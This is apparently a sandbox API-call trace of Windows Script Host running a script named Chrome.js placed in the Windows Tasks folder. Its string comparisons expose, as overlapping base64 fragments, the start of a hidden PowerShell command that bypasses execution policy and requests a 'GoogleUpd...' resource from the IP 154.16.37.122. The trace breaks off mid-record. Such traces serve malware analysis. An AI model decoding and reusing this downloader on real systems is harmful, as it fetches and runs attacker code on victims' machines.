(CodePage=0x4e4) returned 1 [0273.665] CoCreateInstance (in: rclsid=0x7fef9185d88*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef9185d98*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x406ac0 | out: ppv=0x406ac0*=0x739a0) returned 0x0 [0273.665] IUnknown:AddRef (This=0x739a0) returned 0x2 [0273.665] GetCurrentProcessId () returned 0x968 [0273.665] GetCurrentThreadId () returned 0x8d4 [0273.665] GetTickCount () returned 0x4f8b0 [0273.665] ISystemDebugEventFire:BeginSession (This=0x739a0, guidSourceID=0x7fef9185da8, strSessionName="JScript:00002408:00002260:18325808") returned 0x0 [0273.666] GetCurrentThreadId () returned 0x8d4 [0273.666] GetTickCount () returned 0x4f8b0 [0273.666] GetCurrentThreadId () returned 0x8d4 [0273.666] CreateFileW (lpFileName="C:\\Windows\\Tasks\\Chrome.js" (normalized: "c:\\windows\\tasks\\chrome.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x110 [0273.666] GetFileSize (in: hFile=0x110, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcb2 [0273.666] CreateFileMappingA (hFile=0x110, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcb2, lpName=0x0) returned 0x114 [0273.666] MapViewOfFile (hFileMappingObject=0x114, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x1e90000 [0273.668] GetVersionExA (in: lpVersionInformation=0x24e970*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xfdd73301, dwBuildNumber=0x7fe, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24e970*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0273.668] IsTextUnicode (in: lpv=0x1e90000, iSize=3250, lpiResult=0x24e960 | out: lpiResult=0x24e960) returned 1 [0273.668] UnmapViewOfFile (lpBaseAddress=0x1e90000) returned 1 [0273.668] CloseHandle (hObject=0x114) returned 1 [0273.668] CloseHandle (hObject=0x110) returned 1 [0273.668] GetSystemDirectoryA (in: lpBuffer=0x24e9e8, uSize=0x0 | out: lpBuffer=",î$") returned 0x14 [0273.668] GetSystemDirectoryA (in: lpBuffer=0x405a90, uSize=0x15 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0273.668] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\advapi32.dll") returned 0x7feff0e0000 [0273.668] GetProcAddress (hModule=0x7feff0e0000, lpProcName="SaferIdentifyLevel") returned 0x7feff0fe470 [0273.668] GetProcAddress (hModule=0x7feff0e0000, lpProcName="SaferComputeTokenFromLevel") returned 0x7feff0ff9b0 [0273.669] GetProcAddress (hModule=0x7feff0e0000, lpProcName="SaferCloseLevel") returned 0x7feff0ff660 [0273.669] IdentifyCodeAuthzLevelW () returned 0x1 [0273.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24db60 | out: lpSystemTimeAsFileTime=0x24db60*(dwLowDateTime=0xd4020c50, dwHighDateTime=0x1d4a74f)) [0273.703] GetCurrentProcessId () returned 0x968 [0273.703] GetCurrentThreadId () returned 0x8d4 [0273.703] GetTickCount () returned 0x4f8de [0273.703] QueryPerformanceCounter (in: lpPerformanceCount=0x24db68 | out: lpPerformanceCount=0x24db68*=1834711300000) returned 1 [0273.704] GetVersionExA (in: lpVersionInformation=0x24d940*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0xf92bf810, dwBuildNumber=0x7fe, dwPlatformId=0xf92b0000, szCSDVersion="\xfe\x07") | out: lpVersionInformation=0x24d940*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0273.704] GetUserDefaultLCID () returned 0x409 [0273.704] IsFileSupportedName () returned 0x1 [0273.704] _wcsicmp (_String1=".vbs", _String2=".js") returned 12 [0273.704] _wcsicmp (_String1=".vbe", _String2=".js") returned 12 [0273.704] _wcsicmp (_String1=".js", _String2=".js") returned 0 [0273.707] GetSignedDataMsg () returned 0x0 [0273.707] GetCurrentProcess () returned 0xffffffffffffffff [0273.707] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x114, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x24e1a0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x24e1a0*=0x140) returned 1 [0273.707] GetFileSize (in: hFile=0x140, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcb2 [0273.707] SetFilePointer (in: hFile=0x140, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.707] ReadFile (in: hFile=0x140, lpBuffer=0x409f00, nNumberOfBytesToRead=0xcb2, lpNumberOfBytesRead=0x24e180, lpOverlapped=0x0 | out: lpBuffer=0x409f00*, lpNumberOfBytesRead=0x24e180*=0xcb2, lpOverlapped=0x0) returned 1 [0273.707] CoInitialize (pvReserved=0x0) returned 0x1 [0273.707] CoCreateInstance (in: rclsid=0x7fef92bf850*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef92bf860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x24e0f0 | out: ppv=0x24e0f0*=0x40aff0) returned 0x0 [0273.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24c2f0 | out: lpSystemTimeAsFileTime=0x24c2f0*(dwLowDateTime=0xd4020c50, dwHighDateTime=0x1d4a74f)) [0273.711] GetCurrentProcessId () returned 0x968 [0273.711] GetCurrentThreadId () returned 0x8d4 [0273.711] GetTickCount () returned 0x4f8de [0273.711] QueryPerformanceCounter (in: lpPerformanceCount=0x24c2f8 | out: lpPerformanceCount=0x24c2f8*=1834712100000) returned 1 [0273.711] __dllonexit () returned 0x7fef92114c0 [0273.711] __dllonexit () returned 0x7fef92114e8 [0273.711] GetVersionExA (in: lpVersionInformation=0x24c0d0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7fe, dwMinorVersion=0xf9212dc9, dwBuildNumber=0x7fe, dwPlatformId=0xf92114e8, szCSDVersion="\xfe\x07") | out: lpVersionInformation=0x24c0d0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0273.711] GetProcessWindowStation () returned 0x30 [0273.711] GetUserObjectInformationA (in: hObj=0x30, nIndex=1, pvInfo=0x24c0b8, nLength=0xc, lpnLengthNeeded=0x24c0b0 | out: pvInfo=0x24c0b8, lpnLengthNeeded=0x24c0b0) returned 1 [0273.712] DllGetClassObject (in: rclsid=0x7e8f0*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7feffbc6cd0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x24cdc0 | out: ppv=0x24cdc0*=0x405a90) returned 0x0 [0273.712] IClassFactory:CreateInstance (in: This=0x405a90, pUnkOuter=0x0, riid=0x24dba0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24cde0 | out: ppvObject=0x24cde0*=0x40aff0) returned 0x0 [0273.712] GetSystemInfo (in: lpSystemInfo=0x24cc20 | out: lpSystemInfo=0x24cc20*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0273.712] VirtualQuery (in: lpAddress=0x24cc90, lpBuffer=0x24cc50, dwLength=0x30 | out: lpBuffer=0x24cc50*(BaseAddress=0x24c000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0xfffff880, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0273.713] IUnknown:AddRef (This=0x40aff0) returned 0x2 [0273.713] IUnknown:Release (This=0x40aff0) returned 0x1 [0273.713] IUnknown:Release (This=0x405a90) returned 0x0 [0273.713] IUnknown:QueryInterface (in: This=0x40aff0, riid=0x7fef92bf860*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x24e028 | out: ppvObject=0x24e028*=0x40aff0) returned 0x0 [0273.713] IUnknown:Release (This=0x40aff0) returned 0x1 [0273.713] GetACP () returned 0x4e4 [0273.713] CoCreateInstance (in: rclsid=0x7fef92386b0*(Data1=0x275c23e2, Data2=0x3747, Data3=0x11d0, Data4=([0]=0x9f, [1]=0xea, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3f, [6]=0x86, [7]=0x46)), pUnkOuter=0x0, dwClsContext=0x15, riid=0x7fef92386a0*(Data1=0xdccfc164, Data2=0x2b38, Data3=0x11d2, Data4=([0]=0xb7, [1]=0xec, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x8f, [6]=0x5d, [7]=0x9a)), ppv=0x24dfe0 | out: ppv=0x24dfe0*=0x74490) returned 0x0 [0273.719] IUnknown:Release (This=0x74490) returned 0x0 [0273.719] CoUninitialize () [0273.719] CloseHandle (hObject=0x140) returned 1 [0273.719] wcsncmp (_String1="var c='cG93ZXJzaGVsbCAtbm9wIC1leG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0273.719] wcsncmp (_String1="ar c='cG93ZXJzaGVsbCAtbm9wIC1leGV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0273.719] wcsncmp (_String1="r c='cG93ZXJzaGVsbCAtbm9wIC1leGVj", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 101 [0273.719] wcsncmp (_String1=" c='cG93ZXJzaGVsbCAtbm9wIC1leGVjI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 19 [0273.719] wcsncmp (_String1="c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.719] wcsncmp (_String1="='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 48 [0273.719] wcsncmp (_String1="'cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 26 [0273.720] wcsncmp (_String1="cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.720] wcsncmp (_String1="G93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cG", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.720] wcsncmp (_String1="93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0273.720] wcsncmp (_String1="3ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0273.720] wcsncmp (_String1="ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzc", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.720] wcsncmp (_String1="XJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0273.720] wcsncmp (_String1="JzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0273.720] wcsncmp (_String1="zaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAt", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.720] wcsncmp (_String1="aGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtY", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0273.720] wcsncmp (_String1="GVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.720] wcsncmp (_String1="VsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyA", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.720] wcsncmp (_String1="sbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 102 [0273.720] wcsncmp (_String1="bCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0273.720] wcsncmp (_String1="CAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0273.720] wcsncmp (_String1="Atbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0273.720] wcsncmp (_String1="tbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103 [0273.720] wcsncmp (_String1="bm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0273.720] wcsncmp (_String1="m9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.720] wcsncmp (_String1="9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0273.720] wcsncmp (_String1="wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 106 [0273.720] wcsncmp (_String1="IC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0273.720] wcsncmp (_String1="C1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 54 [0273.720] wcsncmp (_String1="1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3R", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0273.720] wcsncmp (_String1="leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3Rl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0273.720] wcsncmp (_String1="eGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3Rlb", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 88 [0273.720] wcsncmp (_String1="GVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.720] wcsncmp (_String1="VjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.720] wcsncmp (_String1="jIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5O", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 93 [0273.720] wcsncmp (_String1="IGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0273.720] wcsncmp (_String1="GJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.720] wcsncmp (_String1="J5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0273.720] wcsncmp (_String1="5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQu", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0273.720] wcsncmp (_String1="cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.720] wcsncmp (_String1="GFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 58 [0273.720] wcsncmp (_String1="FzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2V", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0273.720] wcsncmp (_String1="zcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2Vi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.720] wcsncmp (_String1="cyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViU", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.720] wcsncmp (_String1="yAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUm", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0273.720] wcsncmp (_String1="AtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0273.720] wcsncmp (_String1="tYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVx", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 103 [0273.721] wcsncmp (_String1="YyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 76 [0273.721] wcsncmp (_String1="yAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0273.721] wcsncmp (_String1="AiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 52 [0273.721] wcsncmp (_String1="iJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92 [0273.721] wcsncmp (_String1="JHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzd", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 61 [0273.721] wcsncmp (_String1="HI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.721] wcsncmp (_String1="I9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 60 [0273.721] wcsncmp (_String1="9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 44 [0273.721] wcsncmp (_String1="W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06O", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74 [0273.721] wcsncmp (_String1="1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06Ok", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 36 [0273.721] wcsncmp (_String1="N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.721] wcsncmp (_String1="5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0273.721] wcsncmp (_String1="c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.721] wcsncmp (_String1="3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZW", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 38 [0273.721] wcsncmp (_String1="RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0273.721] wcsncmp (_String1="lbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 95 [0273.721] wcsncmp (_String1="bS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0Z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 85 [0273.721] wcsncmp (_String1="S5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZS", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0273.721] wcsncmp (_String1="5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSg", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 40 [0273.721] wcsncmp (_String1="OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgn", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66 [0273.721] wcsncmp (_String1="ZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgna", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.721] wcsncmp (_String1="XQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaH", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 75 [0273.721] wcsncmp (_String1="QuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 68 [0273.721] wcsncmp (_String1="uV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 104 [0273.721] wcsncmp (_String1="V2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0c", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.721] wcsncmp (_String1="2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cD", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 37 [0273.721] wcsncmp (_String1="ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDo", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.721] wcsncmp (_String1="iUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDov", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 92 [0273.721] wcsncmp (_String1="UmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovL", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 72 [0273.721] wcsncmp (_String1="mVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLz", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 96 [0273.721] wcsncmp (_String1="VxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.721] wcsncmp (_String1="xdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 107 [0273.721] wcsncmp (_String1="dWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1N", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87 [0273.721] wcsncmp (_String1="WVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74 [0273.721] wcsncmp (_String1="VzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 73 [0273.721] wcsncmp (_String1="zdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4x", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 109 [0273.721] wcsncmp (_String1="dF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 87 [0273.721] wcsncmp (_String1="F06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0273.721] wcsncmp (_String1="06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.721] wcsncmp (_String1="6OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4z", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 41 [0273.721] wcsncmp (_String1="OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zN", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 66 [0273.721] wcsncmp (_String1="kNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 94 [0273.722] wcsncmp (_String1="NyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 65 [0273.722] wcsncmp (_String1="yZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4x", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 108 [0273.722] wcsncmp (_String1="ZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xM", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.722] wcsncmp (_String1="WF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMj", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 74 [0273.722] wcsncmp (_String1="F0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjI", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 57 [0273.722] wcsncmp (_String1="0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIv", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.722] wcsncmp (_String1="ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 77 [0273.722] wcsncmp (_String1="SgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 70 [0273.722] wcsncmp (_String1="gnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 90 [0273.722] wcsncmp (_String1="naHR0cDovLzE1NC4xNi4zNy4xMjIvR29v", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 97 [0273.722] wcsncmp (_String1="aHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 84 [0273.722] wcsncmp (_String1="HR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 59 [0273.722] wcsncmp (_String1="R0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2x", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 69 [0273.722] wcsncmp (_String1="0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xl", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 35 [0273.722] wcsncmp (_String1="cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlV", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 86 [0273.722] wcsncmp (_String1="DovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVX", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 55 [0273.722] wcsncmp (_String1="ovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXB", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 98 [0273.722] wcsncmp (_String1="vLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBk", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 105 [0273.722] wcsncmp (_String1="LzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkY", _String2="\r\n// SIG // Begin signature block", _MaxCount=0x21) returned 63 [0273.722] wcsncmp 